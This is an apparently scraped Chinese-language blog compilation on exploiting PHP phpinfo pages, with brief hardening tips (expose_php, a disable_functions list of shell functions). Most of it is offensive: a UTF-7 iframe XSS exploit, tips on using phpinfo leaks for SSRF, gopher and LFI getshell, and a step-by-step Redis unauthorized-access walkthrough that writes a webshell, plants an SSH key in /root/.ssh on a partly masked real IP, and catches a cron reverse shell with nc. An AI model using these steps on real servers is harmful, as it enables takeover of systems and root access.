phpinfo漏洞利用,php框架漏洞

本文目錄一覽:

發現phpinfo信息泄露漏洞 要怎麼處理

(1)通過修改服務器環境內php.ini文件,將「expose_php = On」修改成「expose_php = Off」然後重啟php即可。

(2)如果確實需要該測試信息,在測試時使用,測試完畢後將該文件刪除掉。

(3)若無需要可以將一些php的危險函數禁用,打開/etc/php.ini文件,查找到 disable_functions,添加需禁用的以下函數名:

phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,

proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,

symlink,popepassthru,stream_socket_server,fsocket,fsockopen

什麼是phpinfo xss跨站腳本攻擊漏洞?

php是一款被廣泛使用的編程語言,可以被嵌套在html里用做web程序開發。phpinfo()是用來顯示當前php環境的一個函數,許多站點和程序都會將phpinfo放在自己的站點上或者在程序里顯示,但是phpinfo里存在一些安全問題,導致精心構造數據就可以產生一個跨站腳本漏洞,可以被用來進行攻擊。

漏洞成因: phpinfo頁面對輸入的參數都做了詳細的過濾,但是沒有對輸出的進行charset的指定,而在一些瀏覽器里如IE7里,你可以讓它自動選擇編碼或者通過一個iframe頁面給它指定編碼,這樣就可以饒過phpinfo的過濾而產生一個跨站腳本漏洞。

漏洞來源:

漏洞利用: 利用代碼如下:

html

head

META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7″

/head

body

iframe src=”;+ADw-/SCRIPT+AD4-=1″

以上代碼在IE7+php 5.2.6測試成功。phpinfo頁面的xss甚至比其他頁面更加危險,因為如果有phpinfo的存在,惡意攻擊者可以利用phpinfo的輸出bypass如httponly和一些基礎認證。

漏洞影響: 影響所有版本的php和瀏覽器IE7

漏洞修補: 建議暫時刪除站點的phpinfo頁面避免被人利用。

什麼是目錄遍歷漏洞,什麼是phpinfo消息泄露,最好是詳細的通俗易懂的啊

目錄遍歷漏洞在國內外有許多不同的叫法,比如也可以叫做信息泄露漏洞,非授權文件包含漏洞.名稱雖然多,可他們卻有一個共同的成因,就是在程序中沒有過濾用戶輸入的../和./之類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷服務器上的任意文件,其危害可想而知.

談談從phpinfo中能獲取哪些值得注意的信息

一、絕對路徑(_SERVER[「SCRIPT_FILENAME」])

這個是最常用,也是最有效的一個辦法,找到phpinfo()頁面可以直接找到網站的絕對路徑,對於寫shell和信息搜集是必不可少的。

二、支持的程序

可以通過phpinfo()查看一些特殊的程序服務,比如redis、memcache、mysql、SMTP、curl等等如果服務器裝了redis或者memcache可以通過ssrf來getshell了,在discuz中都出現過此類問題。如果確定裝了redis或memcache的話,在沒有思路的情況下,可以着重找一下ssrf

三、泄漏真實ip(_SERVER[「SERVER_ADDR」]或SERVER_ADDR)

有時候通過phpinfo()泄漏的ip可以查查旁站、c段什麼的,直接無視cdn,百事不靈。

四、GOPHER

也算是ssrf一部分吧,或者說主要靠ssrf利用起來,如果支持gopher,ssrf便沒有壓力咯

五、fastcgi

查看是否開啟fastcgi和fastcgi的版本,可能導致解析漏洞、遠程命令執行、任意文件讀取等問題

六、泄漏緩存文件地址(_FILES[「file1」])

向phpinfo() post一個shell可以在_FILES[「file1」]中看到上傳的臨時文件,如果有個lfi,便可以直接getshell了。

Redis未授權漏洞利用方式

總結一下redis未授權拿shell:

redis-cli -h ip

Windows:

1.找網站絕對路徑

2.config set dir 絕對路徑根路徑

config get dir

config set dbfilename indexbak.php

set webshell “?php phpinfo();?”

save

Linux系統:

第一種:寫密鑰

第二種:寫crotab反彈shell

第三種:找絕對路徑寫webshell

1)本地生成秘鑰

root@GanDolf :~# ssh-keygen -t rsa

2)將公鑰寫入一個文件

root@GanDolf :~# cd /root/.ssh/

root@GanDolf :~/.ssh# (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) foo.txt

3)連接redis寫入文件 root@GanDolf :~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit

OK

root@GanDolf :~/.ssh# redis-cli -h 210.73.90.xxx

210.73.90.xxx:6379 config set dir /root/.ssh/

OK

(1.39s)

210.73.90.xxx:6379 CONFIG GET dir

4)連接服務器

root@GanDolf :~/.ssh# ssh -i id_rsa root@210.73.90.xxx

二、 利用方式不需要猜 web路徑,寫到cron裏面

然後本機nc -lvv 2333

一會兒shell就彈回來了。

修復建議:

1)修改默認端口

2)監聽本地端口

3)使用非root啟動,否則出現漏洞1,直接拿到root權限

4)修改配置文件,禁用相關命令

PHP中phpinfo函數有什麼用

1查看服務器配置是否支持php要求的運行環境

2查看php各項功能配置的打開關閉情況

3調試php配置變動及插件運行情況

原創文章,作者:QEYF,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/139430.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
QEYF的頭像QEYF
上一篇 2024-10-04 00:22
下一篇 2024-10-04 00:22

相關推薦

  • PHP和Python哪個好找工作?

    PHP和Python都是非常流行的編程語言,它們被廣泛應用於不同領域的開發中。但是,在考慮擇業方向的時候,很多人都會有一個問題:PHP和Python哪個好找工作?這篇文章將從多個方…

    編程 2025-04-29
  • Ojlat:一款快速開發Web應用程序的框架

    Ojlat是一款用於快速開發Web應用程序的框架。它的主要特點是高效、易用、可擴展且功能齊全。通過Ojlat,開發人員可以輕鬆地構建出高質量的Web應用程序。本文將從多個方面對Oj…

    編程 2025-04-29
  • Zlios——一個多功能的開發框架

    你是否在開發過程中常常遇到同樣的問題,需要不斷去尋找解決方案?你是否想要一個多功能、易於使用的開發框架來解決這些問題?那麼,Zlios就是你需要的框架。 一、簡介 Zlios是一個…

    編程 2025-04-29
  • agavi開發框架

    Agavi是一個基於MVC模式的Web應用程序開發框架,以REST和面向資源的設計為核心思想。本文章將從Agavi的概念、優點、使用方法和實例等方面進行詳細介紹。 一、概念 Aga…

    編程 2025-04-29
  • Python unittest框架用法介紹

    Python unittest框架是Python自帶的一種測試框架,可以用來編寫並運行測試用例。在本文中,我們將從以下幾個方面詳細介紹Python unittest框架的使用方法和…

    編程 2025-04-29
  • com.alipay.sofa.bolt框架

    com.alipay.sofa.bolt框架是一款高性能、輕量級、可擴展的RPC框架。其廣泛被應用於阿里集團內部服務以及阿里雲上的服務。該框架通過NIO支持高並發,同時還內置了多種…

    編程 2025-04-29
  • PHP怎麼接幣

    想要在自己的網站或應用中接受比特幣等加密貨幣的支付,就需要對該加密貨幣擁有一定的了解,並使用對應的API進行開發。本文將從多個方面詳細闡述如何使用PHP接受加密貨幣的支付。 一、環…

    編程 2025-04-29
  • Django框架:從簡介到項目實戰

    本文將從Django的介紹,以及如何搭建Django環境開始,逐步深入到Django模型、視圖、模板、表單,最後通過一個小型項目實戰,進行綜合性的應用,讓讀者獲得更深入的學習。 一…

    編程 2025-04-28
  • 使用PHP foreach遍歷有相同屬性的值

    本篇文章將介紹如何使用PHP foreach遍歷具有相同屬性的值,並給出相應的代碼示例。 一、基礎概念 在講解如何使用PHP foreach遍歷有相同屬性的值之前,我們需要先了解幾…

    編程 2025-04-28
  • LuaEP:一款強大的Lua開發框架

    LuaEP是一個集成了可以快速開發web應用程序所需的組件的Lua開發框架。它以Lua語言為基礎,提供了許多常用接口和庫,使得開發者不需要從頭開始編寫web應用程序,而是專註於業務…

    編程 2025-04-28

發表回復

登錄後才能評論